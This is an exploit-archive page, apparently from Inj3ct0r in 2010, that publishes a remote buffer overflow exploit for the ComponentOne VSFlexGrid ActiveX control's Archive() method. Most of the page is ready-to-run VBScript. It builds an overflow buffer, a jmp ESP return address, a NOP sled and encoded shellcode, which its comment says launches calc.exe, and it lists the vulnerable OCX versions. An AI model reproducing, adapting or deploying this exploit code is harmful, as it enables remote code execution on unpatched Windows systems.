ComponentOne VSFlexGrid v.7 & 8 "Archive()" me
Posted on 20 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>ComponentOne VSFlexGrid v.7 & 8 "Archive()" method Remote BOF Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================================= ComponentOne VSFlexGrid v.7 & 8 "Archive()" method Remote Buffer Overflow Exploit ================================================================================= # Tilte: ComponentOne VSFlexGrid v. 7 & 8 "Archive()" method Remote Buffer Overflow Exploit # Date....................: [19-05-2010] # Author..................: [Ma3sTr0-Dz] # Location ...............: [Algeria] # Software ...............: [ComponentOne VSFlexGrid v. 7 & 8] # Impact..................: [Remote] # Tested On ..............: [Windows sp2 & sp3] # Site Software ..........: [http://www.componentone.com] # Sptnx ..................: [CmOs_Clr & Ra3ch & Sec4ever Memberz.] # Home : .................: [Www.Sec4ever.Com] # Contact me : ...........: [o5m@hotmail.de] # Vulnerability: Remote Buffer Overflow Exploit # Part ExplOit & Bug Codes : --- 'This ActiveX is marked as: 'RegKey Safe for Script: False 'RegKey Safe for Init: False 'Implements IObjectSafety: True 'IDisp Safe: Safe for untrusted: caller, data 'IPStorage Safe: Safe for untrusted: caller, data 'KillBitSet: False 'This is the list of all vulnerable components: 'vsflex7L.ocx v. 7.0.1.151 'vsflex8.ocx v. 8.0.20072.239 'vsflex8d.ocx v. 8.0.20072.239 'vsflex8l.ocx v. 8.0.20072.239 'vsflex8n.ocx v. 8.0.20072.239 <package> <job id='vsflex8l' debug='false' error='true'> <object classid='clsid:C945E31A-102E-4A0D-8854-D599D7AED5FA' id='vsFlexGrid'/> <script language='vbscript'> buff = String(268, "A") get_EIP = unescape("%81%69%A8%7C") 'jmp ESP from shell32.dll nop = String(12, unescape("%90")) 'execute calc.exe shellcode = shellcode + unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") shellcode = shellcode + unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") shellcode = shellcode + unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") shellcode = shellcode + unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") shellcode = shellcode + unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") shellcode = shellcode + unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") shellcode = shellcode + unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") shellcode = shellcode + unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") shellcode = shellcode + unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") shellcode = shellcode + unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") shellcode = shellcode + unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") shellcode = shellcode + unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") shellcode = shellcode + unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") shellcode = shellcode + unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") shellcode = shellcode + unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") shellcode = shellcode + unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") shellcode = shellcode + unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") shellcode = shellcode + unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") shellcode = shellcode + unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") shellcode = shellcode + unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") shellcode = shellcode + unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") shellcode = shellcode + unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a") egg = buff + get_EIP + nop + shellcode + nop vsFlexGrid.Archive egg, "something", 1 </script> </job> </package> --- # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-20]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
